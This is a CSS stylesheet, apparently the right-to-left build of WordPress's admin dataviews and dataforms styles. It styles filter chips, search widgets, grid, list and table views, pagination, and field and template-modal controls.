.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{
  background:rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{
  font-weight:500;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{
  align-items:center;
  background:#0000;
  border:0;
  border-radius:50%;
  cursor:pointer;
  display:flex;
  height:24px;
  justify-content:center;
  left:4px;
  padding:0;
  position:absolute;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{
  fill:#757575;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{
  background:#e0e0e0;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{
  fill:#1e1e1e;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{
  fill:var(--wp-admin-theme-color);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}

.dataviews-filters__search-widget-filter-combobox-list{
  border-top:1px solid #e0e0e0;
  max-height:184px;
  overflow:auto;
  padding:4px;
}
.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{
  font-weight:600;
}

.dataviews-filters__search-widget-listbox{
  overflow:auto;
  padding:4px;
}

.dataviews-filters__search-widget-listitem{
  align-items:center;
  border-radius:2px;
  box-sizing:border-box;
  cursor:default;
  display:flex;
  gap:8px;
  margin-block-end:2px;
  padding:8px 12px;
}
.dataviews-filters__search-widget-listitem:last-child{
  margin-block-end:0;
}
.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{
  background-color:var(--wp-admin-theme-color);
  color:#fff;
}
.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-check{
  fill:#fff;
}
.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{
  color:#fff;
}
.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-check{
  flex-shrink:0;
  height:24px;
  width:24px;
}
.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{
  color:#757575;
  display:block;
  font-size:12px;
  line-height:16px;
  overflow:hidden;
  text-overflow:ellipsis;
}

.dataviews-filters__search-widget-filter-combobox__wrapper{
  padding:8px;
  position:relative;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
  background:#f0f0f0;
  border:none;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:32px;
  line-height:normal;
  margin-left:0;
  margin-right:0;
  padding:0 8px 0 32px;
  width:100%;
}
@media not (prefers-reduced-motion){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    font-size:13px;
    line-height:normal;
  }
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{
  color:#1e1e1e9e;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    font-size:13px;
  }
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{
  background:#fff;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{
  color:#757575;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{
  -webkit-appearance:none;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{
  align-items:center;
  display:flex;
  justify-content:center;
  left:12px;
  position:absolute;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}

.dataviews-filters__container-visibility-toggle{
  flex-shrink:0;
  position:relative;
}

.dataviews-filters-toggle__count{
  background:var(--wp-admin-theme-color, #3858e9);
  border-radius:8px;
  box-sizing:border-box;
  color:#fff;
  font-size:11px;
  height:16px;
  left:0;
  line-height:16px;
  min-width:16px;
  outline:var(--wp-admin-border-width-focus) solid #fff;
  padding:0 4px;
  position:absolute;
  text-align:center;
  top:0;
  transform:translate(-50%, -50%);
}

.dataviews-search{
  width:fit-content;
}

.dataviews-footer{
  background-color:#fff;
  border-top:1px solid #f0f0f0;
  bottom:0;
  flex-shrink:0;
  padding:12px 48px;
  position:sticky;
  right:0;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .dataviews-footer{
    transition:padding .1s ease-out;
  }
}

@container (max-width: 430px){
  .dataviews-footer{
    padding:12px 24px;
  }
}
@container (max-width: 560px){
  .dataviews-footer{
    flex-direction:column !important;
  }
  .dataviews-footer .dataviews-bulk-actions-footer__container{
    width:100%;
  }
  .dataviews-footer .dataviews-bulk-actions-footer__item-count{
    flex-grow:1;
  }
  .dataviews-footer .dataviews-pagination{
    justify-content:space-between;
    width:100%;
  }
}
.dataviews-pagination__page-select{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}
@media (min-width:600px){
  .dataviews-pagination__page-select .components-select-control__input{
    font-size:11px !important;
    font-weight:500;
  }
}

.dataviews-action-modal{
  z-index:1000001;
}

.dataviews-selection-checkbox{
  --checkbox-input-size:24px;
  flex-shrink:0;
  line-height:0;
}
@media (min-width:600px){
  .dataviews-selection-checkbox{
    --checkbox-input-size:16px;
  }
}
.dataviews-selection-checkbox .components-checkbox-control__input-container{
  margin:0;
}

.dataviews-view-config{
  container-type:inline-size;
  font-size:13px;
  line-height:1.4;
  width:320px;
}

.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{
  height:100%;
  overflow-y:scroll;
}
.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{
  width:auto;
}

.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{
  text-transform:uppercase;
}

.dataviews-settings-section__title.dataviews-settings-section__title{
  font-size:15px;
  line-height:24px;
}

.dataviews-settings-section__sidebar{
  grid-column:span 4;
}

.dataviews-settings-section__content,.dataviews-settings-section__content>*{
  grid-column:span 8;
}

.dataviews-settings-section__content .is-divided-in-two{
  display:contents;
}
.dataviews-settings-section__content .is-divided-in-two>*{
  grid-column:span 4;
}

.dataviews-settings-section:has(.dataviews-settings-section__content:empty){
  display:none;
}

@container (max-width: 500px){
  .dataviews-settings-section.dataviews-settings-section{
    grid-template-columns:repeat(2, 1fr);
  }
  .dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{
    grid-column:span 2;
  }
}
.dataviews-field-control__field{
  height:32px;
}

.dataviews-field-control__actions{
  position:absolute;
  top:-9999em;
}

.dataviews-field-control__actions.dataviews-field-control__actions{
  gap:4px;
}

.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{
  position:unset;
  top:unset;
}

.dataviews-field-control__icon{
  display:flex;
  width:24px;
}

.dataviews-field-control__label-sub-label-container{
  flex-grow:1;
}

.dataviews-field-control__label{
  display:block;
}

.dataviews-field-control__sub-label{
  color:#757575;
  font-size:11px;
  font-style:normal;
  margin-bottom:0;
  margin-top:8px;
}

.dataviews-view-grid{
  container-type:inline-size;
  grid-template-rows:max-content;
  margin-bottom:auto;
  padding:0 48px 24px;
}
@media not (prefers-reduced-motion){
  .dataviews-view-grid{
    transition:padding .1s ease-out;
  }
}
.dataviews-view-grid .dataviews-view-grid__card{
  height:100%;
  justify-content:flex-start;
  position:relative;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{
  padding:8px 0 4px;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{
  align-items:center;
  display:flex;
  min-height:24px;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{
  width:fit-content;
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  color:#1e1e1e;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.dataviews-view-grid .dataviews-view-grid__media{
  aspect-ratio:1/1;
  background-color:#f0f0f0;
  border-radius:4px;
  min-height:200px;
  position:relative;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__media img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__media:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__fields{
  font-size:12px;
  line-height:16px;
  position:relative;
}
.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){
  padding:0 0 12px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){
  line-height:20px;
  min-height:24px;
  padding-top:2px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{
  align-items:center;
  min-height:24px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{
  color:#757575;
  width:35%;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:65%;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){
  display:none;
}
.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){
  padding-bottom:12px;
}
@container (max-width: 480px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(1, minmax(0, 1fr));
    padding-left:24px;
    padding-right:24px;
  }
}
@container (min-width: 480px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(2, minmax(0, 1fr));
  }
}
@container (min-width: 780px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(3, minmax(0, 1fr));
  }
}
@container (min-width: 1140px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(4, minmax(0, 1fr));
  }
}
@container (min-width: 1520px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(5, minmax(0, 1fr));
  }
}

.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{
  display:none;
}

.dataviews-view-grid__card .dataviews-selection-checkbox{
  position:absolute;
  right:8px;
  top:-9999em;
  z-index:1;
}

.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{
  top:8px;
}

.dataviews-view-grid__media--clickable{
  cursor:pointer;
}

div.dataviews-view-list{
  list-style-type:none;
}

.dataviews-view-list{
  margin:0 0 auto;
}
.dataviews-view-list div[role=row]{
  border-top:1px solid #f0f0f0;
  margin:0;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{
  box-sizing:border-box;
  padding:16px 24px;
  position:relative;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{
  flex:0;
  overflow:hidden;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{
  height:24px;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{
  opacity:0;
  position:relative;
  z-index:1;
}
.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions{
  flex-basis:min-content;
  overflow:unset;
  padding-inline-end:4px;
}
.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions .components-button{
  opacity:1;
}
.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{
  border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{
  color:#1e1e1e;
}
.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{
  background-color:#f8f8f8;
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:#1e1e1e;
}
.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list .dataviews-view-list__item{
  appearance:none;
  background:none;
  border:none;
  cursor:pointer;
  inset:0;
  padding:0;
  position:absolute;
  scroll-margin:8px 0;
  z-index:1;
}
.dataviews-view-list .dataviews-view-list__item:focus-visible{
  outline:none;
}
.dataviews-view-list .dataviews-view-list__item:focus-visible:before{
  border-radius:2px;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  inset:var(--wp-admin-border-width-focus);
  outline:2px solid #0000;
  position:absolute;
}
.dataviews-view-list .dataviews-view-list__title-field{
  flex:1;
  line-height:24px;
  min-height:24px;
  overflow:hidden;
}
.dataviews-view-list .dataviews-view-list__title-field:has(a,button){
  z-index:1;
}
.dataviews-view-list .dataviews-view-list__media-wrapper{
  background-color:#f0f0f0;
  border-radius:4px;
  flex-shrink:0;
  height:52px;
  overflow:hidden;
  position:relative;
  width:52px;
}
.dataviews-view-list .dataviews-view-list__media-wrapper img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__media-wrapper:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__field-wrapper{
  flex-grow:1;
  min-height:52px;
}
.dataviews-view-list .dataviews-view-list__fields{
  color:#757575;
  display:flex;
  flex-wrap:wrap;
  font-size:12px;
  gap:12px;
  row-gap:4px;
}
.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{
  display:none;
}
.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{
  align-items:center;
  display:flex;
  line-height:20px;
  min-height:24px;
}
.dataviews-view-list+.dataviews-pagination{
  justify-content:space-between;
}

.dataviews-view-table{
  border-collapse:collapse;
  border-color:inherit;
  color:#757575;
  margin-bottom:auto;
  position:relative;
  text-indent:0;
  width:100%;
}
.dataviews-view-table th{
  color:#1e1e1e;
  font-size:13px;
  font-weight:400;
  text-align:right;
}
.dataviews-view-table td,.dataviews-view-table th{
  padding:12px;
  white-space:nowrap;
}
.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{
  text-align:left;
}
.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{
  padding-left:0;
  width:1%;
}
.dataviews-view-table tr{
  border-top:1px solid #f0f0f0;
}
.dataviews-view-table tr .dataviews-view-table-header-button{
  gap:4px;
}
.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{
  padding-right:48px;
}
.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{
  margin-right:-8px;
}
.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{
  padding-left:48px;
}
.dataviews-view-table tr:last-child{
  border-bottom:0;
}
.dataviews-view-table tr.is-hovered{
  background-color:#f8f8f8;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{
  opacity:0;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{
  opacity:1;
}
.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
  opacity:0;
}
.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
  opacity:1;
}
@media (hover:none){
  .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
    opacity:1;
  }
}
.dataviews-view-table tr.is-selected{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:#757575;
}
.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{
  border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-view-table tr.is-selected:hover{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-view-table thead{
  inset-block-start:0;
  position:sticky;
  z-index:1;
}
.dataviews-view-table thead tr{
  border:0;
}
.dataviews-view-table thead th{
  background-color:#fff;
  font-size:11px;
  font-weight:500;
  padding-bottom:8px;
  padding-right:12px;
  padding-top:8px;
  text-transform:uppercase;
}
.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){
  padding-right:4px;
}
.dataviews-view-table tbody td{
  vertical-align:top;
}
.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{
  align-items:center;
  display:flex;
  min-height:32px;
}
.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){
  min-height:0;
}
.dataviews-view-table .dataviews-view-table-header-button{
  font-size:11px;
  font-weight:500;
  padding:4px 8px;
  text-transform:uppercase;
}
.dataviews-view-table .dataviews-view-table-header-button:not(:hover){
  color:#1e1e1e;
}
.dataviews-view-table .dataviews-view-table-header-button span{
  speak:none;
}
.dataviews-view-table .dataviews-view-table-header-button span:empty{
  display:none;
}
.dataviews-view-table .dataviews-view-table-header{
  padding-right:4px;
}
.dataviews-view-table .dataviews-view-table__actions-column{
  width:1%;
}
.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{
  opacity:1;
}
.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){
  padding-right:0;
}
.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{
  padding:4px 8px;
}
.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{
  padding:16px 12px;
}
.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{
  padding-left:0;
}

@container (max-width: 430px){
  .dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{
    padding-right:24px;
  }
  .dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{
    padding-left:24px;
  }
}
.dataviews-view-table-selection-checkbox{
  --checkbox-input-size:24px;
}
@media (min-width:600px){
  .dataviews-view-table-selection-checkbox{
    --checkbox-input-size:16px;
  }
}

.dataviews-column-primary__media{
  max-width:60px;
}

.dataviews-controls__datetime{
  border:none;
  padding:0;
}

.dataforms-layouts-panel__field{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:32px;
  width:100%;
}

.dataforms-layouts-panel__field-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  hyphens:auto;
  line-height:20px;
  min-height:32px;
  padding:6px 0;
  width:38%;
}

.dataforms-layouts-panel__field-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:32px;
}
.dataforms-layouts-panel__field-control .components-button{
  max-width:100%;
  min-height:32px;
  text-align:right;
  text-wrap:balance;
  text-wrap:pretty;
  white-space:normal;
}
.dataforms-layouts-panel__field-control .components-dropdown{
  max-width:100%;
}

.dataforms-layouts-panel__field-dropdown .components-popover__content{
  min-width:320px;
  padding:16px;
}

.dataforms-layouts-panel__dropdown-header{
  margin-bottom:16px;
}

.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{
  z-index:159990;
}

.dataforms-layouts-regular__field{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:32px;
  width:100%;
}

.dataforms-layouts-regular__field .components-base-control__label{
  font-size:inherit;
  font-weight:400;
  text-transform:none;
}

.dataforms-layouts-regular__field-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  hyphens:auto;
  line-height:20px;
  min-height:32px;
  padding:6px 0;
  width:38%;
}

.dataforms-layouts-regular__field-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:32px;
}

.fields-create-template-part-modal{
  z-index:1000001;
}

.fields-create-template-part-modal__area-radio-group{
  border:1px solid #949494;
  border-radius:2px;
}

.fields-create-template-part-modal__area-radio-wrapper{
  align-items:center;
  display:grid;
  grid-template-columns:min-content 1fr min-content;
  padding:12px;
  position:relative;
  grid-gap:4px 8px;
  color:#1e1e1e;
}
.fields-create-template-part-modal__area-radio-wrapper+.fields-create-template-part-modal__area-radio-wrapper{
  border-top:1px solid #949494;
}
.fields-create-template-part-modal__area-radio-wrapper input[type=radio]{
  opacity:0;
  position:absolute;
}
.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:checked){
  z-index:1;
}
.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:not(:checked)):hover{
  color:var(--wp-admin-theme-color);
}
.fields-create-template-part-modal__area-radio-wrapper>:not(.fields-create-template-part-modal__area-radio-label){
  pointer-events:none;
}

.fields-create-template-part-modal__area-radio-label:before{
  content:"";
  inset:0;
  position:absolute;
}
input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-label:before{
  cursor:pointer;
}
input[type=radio]:focus-visible~.fields-create-template-part-modal__area-radio-label:before{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:4px solid #0000;
}

.fields-create-template-part-modal__area-radio-checkmark,.fields-create-template-part-modal__area-radio-icon{
  fill:currentColor;
}

input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-checkmark{
  opacity:0;
}

.fields-create-template-part-modal__area-radio-description{
  color:#757575;
  font-size:12px;
  grid-column:2 /  3;
  line-height:normal;
  margin:0;
  text-wrap:pretty;
}
input[type=radio]:not(:checked):hover~.fields-create-template-part-modal__area-radio-description{
  color:inherit;
}

.fields-controls__slug .fields-controls__slug-external-icon{
  margin-right:5ch;
}
.fields-controls__slug .fields-controls__slug-input input.components-input-control__input{
  padding-inline-start:0 !important;
}
.fields-controls__slug .fields-controls__slug-help-link{
  word-break:break-word;
}
.fields-controls__slug .fields-controls__slug-help{
  display:flex;
  flex-direction:column;
}
.fields-controls__slug .fields-controls__slug-help .fields-controls__slug-help-slug{
  font-weight:600;
}

.fields-controls__featured-image-placeholder{
  background:#fff linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #0003;
  display:inline-block;
  padding:0;
}

.fields-controls__featured-image-title{
  color:#1e1e1e;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}

.fields-controls__featured-image-image{
  align-self:center;
  border-radius:2px;
  height:100%;
  width:100%;
}

.fields-controls__featured-image-container .fields-controls__featured-image-placeholder{
  margin:0;
}
.fields-controls__featured-image-container span{
  margin-left:auto;
}

fieldset.fields-controls__featured-image .fields-controls__featured-image-container{
  border:1px solid #ddd;
  border-radius:2px;
  cursor:pointer;
  padding:8px 12px;
}
fieldset.fields-controls__featured-image .fields-controls__featured-image-container:hover{
  background-color:#f0f0f0;
}
fieldset.fields-controls__featured-image .fields-controls__featured-image-placeholder{
  height:24px;
  width:24px;
}
fieldset.fields-controls__featured-image span{
  align-self:center;
  text-align:start;
  white-space:nowrap;
}
fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button{
  height:fit-content;
  padding:0;
}
fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:focus,fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:hover{
  border:0;
  color:unset;
}
fieldset.fields-controls__featured-image .fields-controls__featured-image-remove-button{
  place-self:end;
}
.dataforms-layouts-panel__field-control .fields-controls__featured-image-image,.dataforms-layouts-panel__field-control .fields-controls__featured-image-placeholder{
  height:16px;
  width:16px;
}

.dataviews-view-table__cell-content-wrapper .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper .fields-controls__featured-image-placeholder{
  display:block;
  height:32px;
  width:32px;
}

.fields-controls__template-modal{
  z-index:1000001;
}

.fields-controls__template-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
  padding-top:2px;
}
@media (min-width:782px){
  .fields-controls__template-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .fields-controls__template-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.fields-controls__template-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}

.fields-field__title span:first-child{
  display:block;
  flex-grow:0;
  overflow:hidden;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.fields-field__pattern-title span:first-child{
  flex:1;
}

.edit-site-custom-template-modal__contents-wrapper{
  height:100%;
  justify-content:flex-start !important;
}
.edit-site-custom-template-modal__contents-wrapper>*{
  width:100%;
}
.edit-site-custom-template-modal__contents-wrapper__suggestions_list{
  margin-left:-12px;
  margin-right:-12px;
  width:calc(100% + 24px);
}
